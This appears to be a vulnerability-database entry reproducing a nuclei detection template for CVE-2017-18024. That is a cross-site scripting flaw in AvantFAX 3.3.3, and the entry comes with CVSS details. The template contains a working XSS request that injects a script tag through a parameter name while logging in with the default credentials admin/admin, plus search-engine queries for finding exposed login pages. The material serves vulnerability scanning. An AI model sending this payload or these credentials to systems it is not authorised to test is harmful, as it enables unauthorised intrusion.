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AvantFAX 3.3.3 - Cross-Site Scripting

🗓️ 05 Aug 2021 05:55:48Reported by ProjectDiscoveryType 
nuclei
 nuclei
🔗 github.com👁 14 Views

AvantFAX 3.3.3 Cross-Site Scripting vulnerability allows execution of arbitrary JavaScript code in victim's browse

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Related
Refs
Code
ReporterTitlePublishedViews
Family
Cvelist
CVE-2017-18024
10 Jan 201818:00
cvelist
NVD
CVE-2017-18024
10 Jan 201818:29
nvd
Prion
Default credentials
10 Jan 201818:29
prion
Hacker One
Endless Group: XSS on https://fax.pbx.itsendless.org/ (CVE-2017-18024)
20 Aug 202020:56
hackerone
Packet Storm
AvantFAX 3.3.3 Cross Site Scripting
9 Jan 201800:00
packetstorm
CVE
CVE-2017-18024
10 Jan 201818:29
cve
id: CVE-2017-18024

info:
  name: AvantFAX 3.3.3 - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: AvantFAX 3.3.3 contains a cross-site scripting vulnerability via an arbitrary parameter name submitted to the default URL, as demonstrated by a parameter whose name contains a SCRIPT element and whose value is 1.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to a patched version of AvantFAX or apply the necessary security patches to mitigate the XSS vulnerability.
  reference:
    - https://hackerone.com/reports/963798
    - http://packetstormsecurity.com/files/145776/AvantFAX-3.3.3-Cross-Site-Scripting.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-18024
    - https://github.com/ARPSyndicate/kenzer-templates
    - https://github.com/NarbehJackson/Java-Xss-minitwit16
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2017-18024
    cwe-id: CWE-79
    epss-score: 0.00074
    epss-percentile: 0.31612
    cpe: cpe:2.3:a:avantfax:avantfax:3.3.3:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: avantfax
    product: avantfax
    shodan-query: http.title:"avantfax - login"
    fofa-query: title="avantfax - login"
    google-query: intitle:"avantfax - login"
  tags: cve,cve2017,avantfax,hackerone,packetstorm,xss

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        username=admin&password=admin&_submit_check=1&jlbqg<script>alert("{{randstr}}")</script>b7g0x=1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '<script>alert("{{randstr}}")</script>'
          - 'AvantFAX'
        condition: and

      - type: word
        part: header
        words:
          - "text/html"

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100c8fafa4b518fdfbc9c5ace5b123fbc0bd411f9871061f2927ca5c8f504de271f0221008688d0b2511a79f9dcec04187730e518532193c7483af00d8aacba2c94baafe8:922c64590222798bb761d5b6d8e72950

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05 Aug 2021 05:48Current
6.1Medium risk
Vulners AI Score6.1
CVSS24.3
CVSS36.1
EPSS0.002
14
.json
Report